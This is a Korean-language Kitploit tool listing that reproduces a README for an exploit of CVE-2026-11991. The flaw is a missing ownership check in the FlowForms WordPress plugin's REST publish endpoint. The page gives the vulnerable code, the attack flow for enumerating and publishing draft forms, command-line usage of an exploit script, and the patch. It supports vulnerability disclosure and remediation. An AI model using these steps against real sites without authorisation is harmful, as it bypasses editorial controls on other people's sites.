Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11991-Exploit — CVE-2026-11991 자동 익스플로잇으로, FlowForms WordPress 플러그인의 인증 우회 취약점으로 Contributor+ 사용자가 조작된 REST API 요청을 통해 임의의 초안 양식을 게시할 수 있게 합니다. | Kitploit
도구/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

CVE-2026-11991 자동 익스플로잇으로, FlowForms WordPress 플러그인의 인증 우회 취약점으로 Contributor+ 사용자가 조작된 REST API 요청을 통해 임의의 초안 양식을 게시할 수 있게 합니다.

저장소 보기
12시간 30분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-11991 — FlowForms 무단 양식 게시

인증된(Contributor+) 권한 상승 우회로 FlowForms ≤ 1.1.1의 모든 초안 양식 게시 가능

취약점 개요

속성값
CVE IDCVE-2026-11991
CVSS 점수6.2 — Medium
CVSS 벡터AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (사용자 제어 키를 통한 권한 상승 우회)
제품FlowForms — WordPress 대화형 양식 빌더 플러그인
영향 범위1.1.1 이하 모든 버전
수정 버전1.1.2
연구자Phantom Hat

기술 분석

소스 코드 분석, 입력 흐름 추적, 패치 비교를 포함한 전체 화이트박스 사례 연구:

📄 CVE-2026-11991 사례 연구 — Medium

공격 표면

FlowForms는 flowforms/v1 네임스페이스 아래에 REST API를 노출합니다. 게시 엔드포인트:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

URL 경로에서 사용자 제어 {id}를 받아 초안 양식을 라이브 사이트로 승격시킵니다.

근본 원인

/publish 라우트의 permission_callback은 일반적인 기능 검사만 수행합니다:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts는 Contributor가 보유한 기능입니다 — WordPress가 의도적으로 콘텐츠 게시를 제한하는 역할입니다. 대상 form_id에 대한 소유권 검증이 전혀 없습니다. 인증된 모든 사용자는 사이트의 모든 초안 양식을 게시할 수 있습니다.

공격 흐름

root@kitploit:~
공격자 (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Contributor로 인증
        │<─ wordpress_logged_in 쿠키 ───────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST nonce 수집
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) 초안 양식 열거
        │<─ "Form Not Published" ───────────│      (인증되지 않은 응답)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) 임의 초안 양식 ID에
        │        {id}/publish ─────────────>│      게시 트리거
        │                                   │      ← 소유권 검사 없음
        │<─ { "success": true } ────────────│
        │                                   │
        │   양식이 이제 사이트에서 LIVE 상태 │  (5) 초안이 편집 워크플로우를
        │   (편집 승인 없이)                │      우회함

익스플로잇 사용법

사전 요구 사항

  • Python 3.8+
  • 대상 사이트에서 최소 Contributor 역할의 인증된 계정

설치

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

기본 사용법

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

프록시 사용 (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

전체 플래그 참조

플래그설명필수
--url대상 WordPress URL✅
--userWordPress 사용자 이름 (Contributor+)✅
--passwordWordPress 비밀번호✅
--num_forms열거할 양식 ID 수✅
--id_start열거 시작 양식 ID✅
--proxy프록시 URL (예: http://127.0.0.1:8080)❌

익스플로잇 워크플로우

이 익스플로잇은 세 가지 자동화 단계를 수행합니다:

1단계 — 인증 공격자(Contributor)로 로그인하고 wp-admin에서 유효한 REST API nonce를 수집합니다.

2단계 — 초안 열거 지정된 ID 범위에서 GET /flowform/{id}를 스캔합니다. "Form Not Published"를 반환하는 양식은 대상으로 수집됩니다 — 이는 공격자가 소유권이 없는 초안 양식입니다.

3단계 — 게시 공격자의 nonce로 POST /flowforms/v1/forms/{id}/publish를 전송합니다. 엔드포인트는 요청을 수락하고 초안을 승격시켜 양식을 라이브 상태로 만듭니다 — 소유권에 대한 권한 검사가 전혀 없습니다.


해결 방법

조치세부 사항
패치일반적인 edit_posts 검사를 current_user_can('edit_post', $form_id)로 교체 — 두 번째 인자는 기능 검사를 특정 게시물 객체에 바인딩하여 WordPress 소유권 규칙을 적용합니다
완화패치가 적용될 때까지 플러그인이 활성화된 경우 Contributor 및 Author 역할을 제한하세요

안전한 구현

root@kitploit:~
// 취약한 코드
'permission_callback' => fn() => current_user_can('edit_posts'),

// 안전한 코드 (패치됨)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

참고 자료

  • CWE-639 — 사용자 제어 키를 통한 권한 상승 우회
  • register_rest_route() — WordPress 개발자 문서
  • current_user_can() — WordPress 개발자 문서
  • FlowForms 플러그인 — WordPress.org

프로젝트 구조

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # 풍부한 UI를 갖춘 완성형 익스플로잇
├── requirements.txt            # Python 의존성
└── README.md                   # 이 파일

면책 조항

이 도구는 공인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 전 세계 관련 법률에 따라 불법입니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.


작성자

Phantom Hat — 독립 보안 연구원

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

이 연구는 책임 있는 취약점 공개 절차의 일환으로 수행되었습니다.

도구 다운로드